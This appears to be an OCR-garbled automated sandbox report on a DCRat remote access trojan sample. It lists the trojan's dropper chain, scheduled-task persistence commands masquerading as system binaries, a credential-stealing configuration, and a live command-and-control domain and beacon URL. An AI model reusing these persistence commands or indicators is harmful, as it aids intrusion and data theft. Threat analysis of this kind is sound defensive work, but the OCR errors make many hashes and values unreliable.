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Windows Analysis Report

cDouNOFXle.exe
Overview
General Information Detection Signatures Classification
Sample cDouNOFXle.exe
Name: MALICIOUS Multi AV Scanner detection for subm...
Analysis ID: 679544 Antivirus / Scanner detection for sub...
MDS: 541728880b47312.. Antivirus detection for dropped file
SHAL:

(R R Multi AV Scanner detection for drop...
SHAZ256: 05379ea4600304.

Yara detected DCRat

Tags: DCRat | exe

- . Creates processes via WMI
nfos: nBQt

Machine Learning detection for sam...

m

Machine Learning detection for drop...
DCRat ¢ P

: Drops executables to the windows d...
Score: 100

Range: 0- 100 Uses schtasks.exe or at.exe to add...
Whitelisted: false Drops PE files with benign system n...
Confidence: 100%

Uses 32bit PE files

Process Tree

= System is w10x64
. ﬂ cDouNOFXle.exe (PID: 3632 cmdline: "C:\Users\user\Desktop\cDouNOFXle.exe" MD5: 54172888B473F2515B13FE1E2032A112)
. i> wscript.exe (PID: 5792 cmdline: "C:\Windows\System32\WScript.exe" "C:\comproviderRuntimecommon\et1pu6VAIKUOY7GuC90A.vbe" MD5:
7075DD7B9BE8807FCA93ACD86F724884)
. cmd.exe (PID: 5824 cmdline: C:\Windows\system32\cmd.exe /c ""C:\comproviderRuntimecommon\DLLIR59GMmL352HHbgfc.bat" " MD5:
F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 5080 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ chainsavesref.exe (PID: 3372 cmdline: C:\comproviderRuntimecommon\chainsavesref.exe MD5: 4EAF964B744BD6801B5122AE1AFBBDE4)

e [m schtasks.exe (PID: 5100 cmdline: schtasks.exe /create /tn "conhostc” /sc MINUTE /mo 9 /tr "'C:\Recovery\conhost.exe™ /f MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

e [ schtasks.exe (PID: 2292 cmdline: schtasks.exe /create /tn "conhost’ /sc ONLOGON /tr "'C:\Recovery\conhost.exe™ /rl HIGHEST /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)

o [ schtasks.exe (PID: 5208 cmdline: schtasks.exe /create /tn "conhostc” /sc MINUTE /mo 9 /tr "'C:\Recovery\conhost.exe™ /rl HIGHEST /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)

e [ schtasks.exe (PID: 5296 cmdline: schtasks.exe /create /tn "MrsUVRPGelmAhcM" /sc MINUTE /mo 9 /tr "C:\Windows\Web\Screen\MrsUvRPGelmAhc.exe" /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)

e [ schtasks.exe (PID: 1100 cmdline: schtasks.exe /create /tn "MrsUVRPGelmAhc" /sc ONLO GON /tr " C:\Windows\Web\Screen\MrsUvRPGelmAhc.exe" /fl HIGHEST /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)

e [ schtasks.exe (PID: 5284 cmdline: schtasks.exe /create /tn "MrsUVRPGelmAhcM" /sc MINUTE /mo 11 /tr "'C:\Windows\Web\Screen\MrsUvRPGelmAhc.exe" /rl HIGHEST /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)

e (B MrsUvRPGelmAhc.exe (PID: 3432 cmdline: C:\Windows\Web\Screen\MrsUvRPGelmAhc.exe MD5: 4EAF964B744BD6801B5122AE1AFBBDE4)

e [ schtasks.exe (PID: 3056 cmdline: schtasks.exe /create /tn "MrsUvVRPGelmAhcM" /sc MINUTE /mo 6 /tr "'C:\Windows\Help\mui\0409\MrsUVRPGelmAhc.exe" /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)

e [ schtasks.exe (PID: 2232 cmdline: schtasks.exe /create /tn "MrsUvRPGelmAhc" /sc ONLO GON /tr " C:\Windows\Help\mui\0409\MrsUVRPGelmAhc.exe™ /rl HIGHEST /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)

e [ schtasks.exe (PID: 6120 cmdline: schtasks.exe /create /tn "MrsUvVRPGelmAhcM" /sc MINUTE /mo 7 /tr "'C:\Windows\Help\mui\0409\MrsUVRPGelmAhc.exe" /rl HIGHEST /f
MDS5: 838D346D1D28F00783B7A6C6BD0O3A0DA)

e [ schtasks.exe (PID: 5800 cmdline: schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 9 /tr " C:\Recovery\winlogon.exe" /f MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

o [ schtasks.exe (PID: 4592 cmdline: schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Recovery\winlogon.exe" /rl HIGHEST /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)

e [ MrsUvRPGelmAhc.exe (PID: 2756 cmdline: C:\Windows\Help\mui\0409\MrsUVRPGelmAhc.exe MD5: 4EAF964B744BD6801B5122AE1AFBBDE4)

e [ schtasks.exe (PID: 2072 cmdline: schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr " C:\Recovery\winlogon.exe™ /rl HIGHEST /f MD5:
838D346D1D28F00783B7A6C6BDO3A0DA)

e [ schtasks.exe (PID: 5100 cmdline: schtasks.exe /create /tn "explorere” /sc MINUTE /mo 8 /tr "' C:\Recovery\explorer.exe™ /f MD5: 838D346D1D28F00783B7A6C6BD0O3A0DA)

e [ schtasks.exe (PID: 2292 cmdline: schtasks.exe /create /tn "explorer” /sc ONLOGON /tr "C:\Recovery\explorer.exe" /rl HIGHEST /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)

e [ schtasks.exe (PID: 4036 cmdline: schtasks.exe /create /tn "explorere” /sc MINUTE /mo 10 /tr "'C:\Recovery\explorer.exe™ /rl HIGHEST /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)

e [ schtasks.exe (PID: 4200 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\comproviderRuntimecommon\RuntimeBroker.exe" /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)
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W7 explorer.exe (PID: 1820 cmdline: C:\Recovery\explorer.exe MD5: 4EAF964B744BD6801B5122AE1AFBBDE4)

W7 schtasks.exe (PID: 5304 cmdline: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOG ON /tr ""C:\comproviderRuntimecommon\RuntimeBroker.exe™ /rl HIGHEST /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)

W7 explorer.exe (PID: 5580 cmdline: C:\Recovery\explorer.exe MD5: 4EAF964B744BD6801B5122AE1AFBBDE4)

W7 schtasks.exe (PID: 3896 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\comproviderRuntimecommon\RuntimeBroker.exe" /rl HIGHEST /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)

W7 schtasks.exe (PID: 5280 cmdline: schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 5 /tr " C:\comproviderRuntimecommon\backgroundTaskHost.exe™ /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)

W schtasks.exe (PID: 6024 cmdline: schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr ""C:\comproviderRuntimecommon\backgroundTaskHost.exe™ /rl HIGHEST /f
MDS5: 838D346D1D28F00783B7A6C6BD0O3A0DA)

W schtasks.exe (PID: 5608 cmdline: schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 10 /tr "'C:\comproviderRuntimecommon\backgroundTaskHost.exe™ /rl HI
GHEST /f MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

W schtasks.exe (PID: 6056 cmdline: schtasks.exe /create /tn "ShellExperienceHostS" /sc MINUTE /mo 13 /tr "'C:\Recovery\ShellExperienceHost.exe™ /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)

m 7 schtasks.exe (PID: 2292 cmdline: schtasks.exe /create /tn "ShellExperienceHost" /sc ONLOGON /tr "'C:\Recovery\ShellExperienceHost.exe™ /rl HIGHEST /f MD5:
838D346D1D28F00783B7A6C6BD0O3A0DA)

cleanup

Malware Configuration

Threatname: DCRat

{

A R R A A DA L R R A

LB 1S L e |

"SCRT": "{1"11":1 701", | "l 2| #1117 TSLL LML D e
R A R e A A R A AR TR
A R R A A D A R A R R I AT
A A A R A A R A R A A

AR
AARRT AR
AR ARTARIIAE
ab

: NIANID

"PCRT": "{1"11": 1151761721781, 1761 | < AL

I -\
K aE
1" -1
1" HE
"TAG": "FUCKYOUTEST",
"MUTEX": "DCR_MUTEX-02ykwxZSRS1KYAzrbrFg",
"LDTM": false,
"DBG": false,
"SST": 5,
"SMST": 2,
"BCS": 0,
"AUR": 1,
"ASCFG": {
"savebrowsersdatatosinglefile”: false,
"ignorepartiallyemptydata”: true,
"cookies": true,
"passwords": true,
"forms": true,
"cc": true,
"history": true,
"telegram": true,
"steam": true,
"discord": true,
"filezilla": true,
"screenshot"”: true,
"clipboard": true,
"sysinfo": true,
"searchpath": "%UsersFolder% - Fast"
s
"AS": true,
"AS0": false,
"AD": false

Yara Signatures

Memory Dumps

Source Rule Description Author Strings

00000020.00000002.373237011.0000000002619000.00000  JoeSecurity DCRa Yara detected Joe Security
004.00000800.00020000.00000000.sdmp t1 DCRat

00000017.00000002.361259028.0000000002FF1000.00000  JoeSecurity DCRa Yara detected Joe Security
004.00000800.00020000.00000000.sdmp t1 DCRat

0000001E.00000002.371238392.0000000002381000.00000  JoeSecurity DCRa Yara detected Joe Security
004.00000800.00020000.00000000.sdmp t1 DCRat

00000010.00000002.330291471.0000000002CBB000.00000 JoeSecurity DCRa Yara detected Joe Security
004.00000800.00020000.00000000.sdmp t1 DCRat

0000001E.00000002.378960692.00000000023C9000.00000 JoeSecurity DCRa Yara detected Joe Security
004.00000800.00020000.00000000.sdmp t1 DCRat

Click to see the 8 entries
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Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

AV Detection

Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Machine Learning detection for sample

Machine Learning detection for dropped file

Persistence and Installation Behavior

Creates processes via WMI
Drops executables to the windows directory (C:\Windows) and starts them

Drops PE files with benign system names

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Stealing of Sensitive Information

fipal

Yara detected DCRat

=
=

Remote Access Functionality

Yara detected DCRat

Mitre Att&ck Matrix
- L . Command Remote
Initial . . Privilege Defense Credential . Lateral . . . Network .
Execution Persistence . . Discovery Collection Exfiltration and Service Impact
Access Escalation Evasion Access Movement Effects
Control Effects
Valid 0os Remote Exfiltration Eavesdrop Remotely  Modify
Accounts Windows Scheduled Process Masqueradi Credential = System Services Archive Over Other Encrypted  on Insecure Track System
Manageme Task/Job Injection ng Dumping Time Collected Network Channel Network Device Partition
nt Discovery Data Medium Communic  Without
Instrument ation Authorizati
ation on
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Initial . . Privilege
Execution Persistence A
Access Escalation

Default

Accounts Command DLL Side-  Scheduled
and Loading Task/Job
Scripting
Interpreter

Domain Logon

Accounts Scheduled  Script DLL Side-

Task/Job (Windows) Loading

Local Logon Logon
Accounts Scripting Script Script
(Mac) (Mac)
Cloud Cron Network Network
Accounts Logon Logon
Script Script

Replication Launchd Rc.commo Rc.commo
Through n n
Removable

Media

External Scheduled = Startup Startup
Remote Task Iltems Iltems
Services

Drive-by Command  Scheduled Scheduled
Compromis and Task/Job Task/Job
e Scripting

Interpreter
Exploit PowerShell At (Linux) At (Linux)
Public-
Facing
Application

Behavior Graph
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Behavior Graph

: 679544 I Legend:
Sample: GDOUNOFXte.exe
Staridate: 0610812022

D Process
I:‘ Signature

I:I Created File

Architecture:  WINDOWS
Score: 100
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C T v e 2 RS Number of created Registry Values
L]}

Number of created Files
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Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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DMD  BJIZFPPWA.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

cDouNOFXle.exe
cDouNOFXle.exe
cDouNOFXle.exe

cDouNOFXle.exe
cDouNOFXle.exe

Dropped Files

Source

C:\Recovery\ShellExperienceHost.exe

C:\comproviderRuntimecommon\RuntimeBroker.exe

C:\comproviderRuntimecommon\backgroundTaskHost.exe

C:\Windows\Help\mui\0409\MrsUvRPGelmAhc.exe

C:\Recovery\winlogon.exe

Copyright Joe Security LLC 2022

Detection
54%
40%

60%

100%

100%

Detection

100%

100%

100%

100%

100%

Scanner

Virustotal
Metadefender

ReversingLabs

Avira

Joe Sandbox ML

Scanner

Avira

Avira

Avira

Avira

Avira

Label

ByteCode-
MSIL.Backdoor.Lig
htStone

VBS/Runner.VPG

Label

HEUR/AGEN.1249
330

HEUR/AGEN.1249
330

HEUR/AGEN.1249
330

HEUR/AGEN.1249
330

HEUR/AGEN.1249
330

Link
Browse

Browse

Link
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https://www.virustotal.com/gui/file/05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca/detection/f-05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca-1659295589
https://www.metadefender.com/#!/results/file/bzIyMDgwNGRaWk5ONjhydUxuSHF1ZzFHYzc/regular/analysis

Source Detection Scanner Label Link

C:\Recovery\explorer.exe 100% Avira HEUR/AGEN.1249

330
C:\comproviderRuntimecommon\chainsavesref.exe 100% Avira HEUR/AGEN.1249

330
C:\Recovery\conhost.exe 100% Avira HEUR/AGEN.1249

330
C:\comproviderRuntimecommon\etlpu6VAIKUOY7GuC90A.vbe 100% Avira VBS/Runner.VPG
C:\Windows\Help\mui\0409\MrsUvRPGelmAhc.exe 100% Avira HEUR/AGEN.1249

330
C:\Recovery\ShellExperienceHost.exe 100% Joe Sandbox ML
C:\comproviderRuntimecommon\RuntimeBroker.exe 100% Joe Sandbox ML
C:\comproviderRuntimecommon\backgroundTaskHost.exe 100% Joe Sandbox ML
C:\Windows\Help\mui\0409\MrsUvRPGelmAhc.exe 100% Joe Sandbox ML
C:\Recovery\winlogon.exe 100% Joe Sandbox ML
C:\Recovery\explorer.exe 100% Joe Sandbox ML
C:\comproviderRuntimecommon\chainsavesref.exe 100% Joe Sandbox ML
C:\Recovery\conhost.exe 100% Joe Sandbox ML
C:\Windows\Help\mui\0409\MrsUvRPGelmAhc.exe 100% Joe Sandbox ML
C:\Recovery\ShellExperienceHost.exe 55% Virustotal Browse
C:\Recovery\ShellExperienceHost.exe 70% ReversingLabs ByteCode-

MSIL.Backdoor.DC

Rat
C:\Recovery\conhost.exe 55% Virustotal Browse
C:\Recovery\conhost.exe 70% ReversingLabs ByteCode-

MSIL.Backdoor.DC

Rat
C:\Recovery\explorer.exe 55% Virustotal Browse
C:\Recovery\explorer.exe 70% ReversingLabs ByteCode-

MSIL.Backdoor.DC

Rat
C:\Recovery\winlogon.exe 55% Virustotal Browse
C:\Recovery\winlogon.exe 70% ReversingLabs ByteCode-

MSIL.Backdoor.DC

Rat
C:\Windows\Help\mui\0409\MrsUVRPGelmAhc.exe 55% Virustotal Browse
C:\Windows\Help\mui\0409\MrsUvRPGelmAhc.exe 70% ReversingLabs ByteCode-

MSIL.Backdoor.DC

Rat
C:\Windows\Web\Screen\MrsUvRPGelmAhc.exe 70% ReversinglLabs ByteCode-

MSIL.Backdoor.DC

Rat
C:\comproviderRuntimecommon\RuntimeBroker.exe 70% ReversingLabs ByteCode-

MSIL.Backdoor.DC

Rat
C:\comproviderRuntimecommon\backgroundTaskHost.exe 70% ReversingLabs ByteCode-

MSIL.Backdoor.DC

Rat
C:\comproviderRuntimecommon\chainsavesref.exe 70% ReversingLabs ByteCode-

MSIL.Backdoor.DC

Rat

Unpacked PE Files

Source Detection Scanner Label Link Download

0.3.cDouNOFXle.exe.5528b46.0.unpack 100% Avira VBS/Runner.VP Download File
G

0.3.cDouNOFXle.exe.5557b46.1.unpack 100% Avira VBS/Runner.VP Download File
G

6.0.chainsavesref.exe.350000.0.unpack 100% Avira HEUR/AGEN.12 Download File
49330

Domains

@ No Antivirus matches

URLs
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https://www.virustotal.com/gui/file/b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff/detection/f-b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff-1659295704
https://www.virustotal.com/gui/file/b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff/detection/f-b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff-1659295704
https://www.virustotal.com/gui/file/b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff/detection/f-b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff-1659295704
https://www.virustotal.com/gui/file/b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff/detection/f-b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff-1659295704
https://www.virustotal.com/gui/file/b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff/detection/f-b570e2028088759d02ea13f7646bf7aca78865d55f7fd8e2efaeec45c670e9ff-1659295704

Source

http://https://index.from.sh/pages/game.html
http://https://index.from.sh/pages/game.html
http://a0702220.xsph.ru8
http://a0702220.xsph.rux

http://go.mic

Domains and IPs

Contacted Domains

Name P

a0702220.xsph.ru

Contacted URLs

Name

Detection

0%
0%
0%
0%

0%

Active

141.8.195.65 true false

Malicious

Scanner Label
Virustotal

Avira URL Cloud safe
Avira URL Cloud safe
Avira URL Cloud safe

URL Reputation safe

Antivirus Detection

Malicious Antivirus Detection

http://a0702220.xsph.ru/tolowprocessorGeneratortrack.php? false
rRmbiWWxXEOd55k=WTglsnKuV&e7d5eala013b440ebf41c5b405309h9e=h64e0d0fcd8bOe37eaad46
43c1b6ab3c&94c8169d9b8chbe19972e7f6bf4e65c1=AM5M|jZXQmMhRjMzE2M5KTN2EWOwWCZYXY
GN3UDM5YjZwM2YmRmMN2EDO&RMbiWWXEOd55k=WTglsnKuV

URLs from Memory and Binaries
Name

http://https://cp.sprinthost.ru

http://https://index.from.sh/pages/game.html

hitp://
a0702220.xsph.ru/tolowprocessorGeneratortrack.php?
rRMbiWWXEOd55k=WTglsnKuV&e7d5eala013b440e
bf

http://a0702220.xsph.rug

http://a0702220.xsph.rux

hitp://
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam
e

http://a0702220.xsph.ru

http://go.mic

http://https://cp.sprinthost.ru/auth/login

Copyright Joe Security LLC 2022

Source

MrsUvVRPGelmAhc.exe, 00000017.00000002.36
2876471.0000000003106000.00000004.000008
00.00020000.00000000.sdmp, MrsUvRPGelmAh
c.exe, 00000017.00000002.363114487.00000
00003130000.00000004.00000800.00020000.0
0000000.sdmp

MrsUVRPGelmAhc.exe, 00000017.00000002.36
2876471.0000000003106000.00000004.000008
00.00020000.00000000.sdmp, MrsUVRPGelmAh
c.exe, 00000017.00000002.363114487.00000
00003130000.00000004.00000800.00020000.0
0000000.sdmp

MrsUvRPGelmAhc.exe, 00000017.00000002.36
3114487.0000000003130000.00000004.000008
00.00020000.00000000.sdmp, MrsUvRPGelmAh
c.exe, 00000017.00000002.362535103.00000
000030DB000.00000004.00000800.00020000.0
0000000.sdmp

MrsUvRPGelmAhc.exe, 00000017.00000002.36
3114487.0000000003130000.00000004.000008
00.00020000.00000000.sdmp

MrsUvRPGelmAhc.exe, 00000017.00000002.36
2800777.00000000030FC000.00000004.000008
00.00020000.00000000.sdmp

chainsavesref.exe, 00000006.00000002.296
875095.00000000028F4000.00000004.0000080
0.00020000.00000000.sdmp, MrsUVRPGelmAhc.exe,
00000017.00000002.362535103.00000000030DB000
.00000004.00000800.00020000.00000000.sdmp

MrsUvRPGelmAhc.exe, 00000017.00000002.36
2876471.0000000003106000.00000004.000008
00.00020000.00000000.sdmp, MrsUVRPGelmAh
c.exe, 00000017.00000002.362535103.00000
000030DB000.00000004.00000800.00020000.0
0000000.sdmp

MrsUvRPGelmAhc.exe, 00000010.00000002.32
5485482.0000000001020000.00000004.000000
20.00020000.00000000.sdmp

MrsUvRPGelmAhc.exe, 00000017.00000002.36
2876471.0000000003106000.00000004.000008
00.00020000.00000000.sdmp, MrsUVRPGelmAh
c.exe, 00000017.00000002.363114487.00000
00003130000.00000004.00000800.00020000.0
0000000.sdmp

Malicious  Antivirus Detection

false

false e 0%, Virustotal, Browse
e Avira URL Cloud: safe

false

false e Avira URL Cloud: safe

false e Avira URL Cloud: safe

false

false

false e URL Reputation: safe

false

Link

Browse

Reputation

high

Reputation

high

Reputation

high

unknown

high

unknown

unknown

high

high

unknown

high
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https://www.virustotal.com/gui/url/b2f4c4bdcef90e03c0830efac7243fdbc7d761dc9591048a25ae3353fe429ec2/detection/u-b2f4c4bdcef90e03c0830efac7243fdbc7d761dc9591048a25ae3353fe429ec2-1633947572
https://www.virustotal.com/gui/url/b2f4c4bdcef90e03c0830efac7243fdbc7d761dc9591048a25ae3353fe429ec2/detection/u-b2f4c4bdcef90e03c0830efac7243fdbc7d761dc9591048a25ae3353fe429ec2-1633947572

Name Source Malicious Antivirus Detection Reputation

http://a0702220.xsph.ru/ MrsUvRPGelmAhc.exe, 00000017.00000002.36 false high
2379963.00000000030CB000.00000004.000008
00.00020000.00000000.sdmp, MrsUVRPGelmAh
c.exe, 00000017.00000002.361259028.00000
00002FF1000.00000004.00000800.00020000.0
0000000.sdmp, MrsUvRPGelmAhc.exe, 000000
17.00000002.363114487.0000000003130000.0
0000004.00000800.00020000.00000000.sdmp,
MrsUvRPGelmAhc.exe, 00000017.00000002.3
62535103.00000000030DB000.00000004.00000
800.00020000.00000000.sdmp

World Map of Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
B 75% <No. of IPs

Public IPs

P Domain Country Flag ASN ASN Name Malicious
141.8.195.65 a0702220.xsph.ru Russian Federation - 35278 SPRINTHOSTRU false
General Information

Joe Sandbox Version: 35.0.0 Citrine

Analysis ID: 679544

Start date and time: 06/08/202200:51:06 2022-08-06 00:51:06 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 8m 48s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: cDouNOFXle.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 42

analysed:

Number of new started drivers analysed:
Number of existing processes analysed:

Number of existing drivers analysed:

o o o o

Number of injected processes analysed:
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Technologies: e HCA enabled
e EGA enabled
e HDC enabled
* AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.evad. WinEXE@34/22@1/1
EGA Information: ® Successful, ratio: 16.7%

HDC Information:

.

Successful, ratio: 99.8% (good quality ratio 95%)
Quality average: 78.7%
Quality standard deviation: 28%

3

.

HCA Information:

.

Successful, ratio: 72%
Number of executed functions: 0
Number of non-executed functions: 0

3

.

Cookbook Comments:

3

Found application associated with file extension: .exe
Adjust boot time
Enable AMSI

.

.

Warnings

e Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, winlogon.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
e TCP Packets have been reduced to 100

Excluded domains from analysis (whitelisted): www.bing.com, ris.api.iris.microsoft.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, ct
Idl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, cdn.onenote.net, arc.msn.com
Execution Graph export aborted for target MrsUvRPGelmAhc.exe, PID 2756 because it is empty

Execution Graph export aborted for target MrsUvRPGelmAhc.exe, PID 3432 because it is empty

Execution Graph export aborted for target chainsavesref.exe, PID 3372 because it is empty

Execution Graph export aborted for target explorer.exe, PID 1820 because it is empty

Execution Graph export aborted for target explorer.exe, PID 5580 because it is empty

Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, too many NtOpenKeyEx calls found.

Report size getting too big, too many NtProtectVirtualMemory calls found.

Report size getting too big, too many NtQueryValueKey calls found.

.

e o o o o o o o o o

Simulations

Behavior and APIs

Time Type Description

00:52:16 Task Scheduler Run new task: conhost path: "C:\Recovery\conhost.exe"

00:52:16 Task Scheduler Run new task: conhostc path: “C:\Recovery\conhost.exe"

00:52:17 Task Scheduler Run new task: MrsUvRPGelmAhcM path: "C:\Windows\Web\Screen\MrsUvRPGelmAhc.exe"

00:52:19 Task Scheduler Run new task: MrsUvRPGelmAhc path: "C:\Windows\Help\mui\0409\MrsUvRPGelmAhc.exe"

00:52:19 Task Scheduler Run new task: winlogonw path: “C:\Recovery\winlogon.exe"

00:52:22 Task Scheduler Run new task: explorer path: "C:\Recovery\explorer.exe"

00:52:22 Task Scheduler Run new task: explorere path: “C:\Recovery\explorer.exe"

00:52:23 Task Scheduler Run new task: winlogon path: “C:\Recovery\winlogon.exe"

00:52:25 Task Scheduler Run new task: backgroundTaskHost path: "C:\comproviderRuntimecommon\backgroundTaskHost.exe"
00:52:26 Task Scheduler Run new task: backgroundTaskHostb path: "C:\comproviderRuntimecommon\backgroundTaskHost.exe"
00:52:26 Task Scheduler Run new task: RuntimeBroker path: "C:\comproviderRuntimecommon\RuntimeBroker.exe"

00:52:26 Task Scheduler Run new task: RuntimeBrokerR path: "C:\comproviderRuntimecommon\RuntimeBroker.exe"

00:52:28 Task Scheduler Run new task: ShellExperienceHost path: "C:\Recovery\ShellExperienceHost.exe"

00:52:28 Task Scheduler Run new task: ShellExperienceHostS path: "C:\Recovery\ShellExperienceHost.exe"

00:52:49 API Interceptor 2x Sleep call for process: MrsUvRPGelmAhc.exe modified

Joe Sandbox View / Context

IPs

@ No context
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Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Recovery\088424020bedd6

Process: C:\comproviderRuntimecommon\chainsavesref.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 837

Entropy (8bit):  5.919202933432686

Encrypted: false

SSDEEP: 12:InWMz/5YD5Cb8IvQXw9h7ZEIkpV+IgMOoEUQzyzTDESudWokCXd4zDCLHigCkrng:IWTD5XEQaBwiJgMvCzWISKW2d4fgBw

MD5: A836B53C99726EFC79C466816D8D28B5

SHA1L: 31F73DA56CA51D71512CB8DD7305FACE255EF802

SHA-256: B851B82C5COEADFEOA718DEO4EODO1FBSBE7AS36238724BC717987A2BFA873FA

SHA-512: 055D417449537442EDD3F1014317B96B8D822B85C116E72A613E4A0074A32720C7D03CC5F3BEB2EBEG27E4270D65DE7311AB4565D6B9D4749074309F7CB68398
Malicious: false

Preview: db4Tf5aQP7wTzMG4d7rMV097dj9BKkQWBFYVnXFslcTXdecdEQfQqgleyc6z66Yq8LxOaldgXPzuBRgcBG4VEAFh74gLaQw5DmZSqOCMx83brYch5ex0BnI8F

WQgVSGGc4qZ10vxDs8FGoujb8P5c63ZAaNU7gle2w8wrDprsAwTpglalrFWCKogARYbAbzh0dNUq71YShNcJkueiwsPbfbribvapOgQKPdMShtnOrDf7MXag
32NskGVBgMPLbsEO6R3GhMBDEZub6u5DV3vVdikJILvUecY890A4eTIrOKNLW3EWQLOh6sXYrt8WagmAvbRtBjB4EeS4YxOGIESIOBRRMNUUMQKIAKkewCP
myn2NFdS6uQamQBJIUKAHyyrRxUq3NMwT6zpxNIDLI4xkWziVIBzRV5bxHVE3YKEt76ewkN6IGy93BG57wV3MXeiBY 2p1EKxhzEmZVvuwFOK66hwAZGGCq2We
YdYshEh6BbE7dgmAIHHIUIEOFpb8Dv16rJB2XCOArO5fdzh3eGbivNIXYhm2mi2PjHPTetmj3GcFpjXPHie7USLeAOCe0ZVYIWq5WKNZud2ppvDlyJXUEE55R6vSQPwWJIhsT
t8oBp4ltdenfs7FpgCkTDavoZy4lfrsH7bTIKIr05VeecnaCVKKFH7YQSNAIOAAOVtiRn6eiUuYs8SA9wj84mkKjLA5Kg105Gqti2viNFhxM9iUS9mEaBTJIVIGnBUBc4d
IRj2HA2uzFx8jmq9K4wZ3whjw2pEMufURg6CWHfEIReEWXad6BKHqfkyu9FOVyhEjcqCqonCZs0IScNZcLHLKYowBHRXCQsut

C:\Recovery\7a0fd90576e088

Process: C:\comproviderRuntimecommon\chainsavesref.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 814

Entropy (8bit):  5.896066697042415

Encrypted: false

SSDEEP: 24:GDDgFMMEX3Qvm9wy2wUhpgQeGHOqGUQ3xS12:i0KMEXA+REpugOoQ3cl

MD5: B4B5C242A0BBC225FA07D76D8AF6D4ED

SHAL: 35707D7467D96BA0F392A69CB64BE4F4AFCT77766D

SHA-256: 96EO0DED81CF69A8BF874E6C66A14B708451EASF7FDB0433C7F06747C7B09F48E

SHA-512: 57BC8AAB4036D47A770E261D4AA83FCDD57B5A310B3ADBE16760E0734236F77B7A06FB047AD055025DFEEFC39FB2355A1684DE01542670DE44009AF5034CF2¢
4

Malicious: false

Preview: GzQyEWS5IoDZJJ1kEvOdlcuoaeuDDO1MX5wsm4UPM3SbFa2GIX7EXt6VVLzZUTS2Sw1COXI7Ja9R8ISjAmncP2xyn9aWbEA53BApNXntcOyoYc7LDIzrqOmZ9C

ZOBVFEZDY7InWm849ZEIaKBPTOPTPCYkpL8YxqVtOVEABZPMtwONVOIONrbpzGyVij7KnjGTEU4FGBN3kCjdMLPzjuLGOp4HgsbcbEjJphlASgHLAIEWgUIW
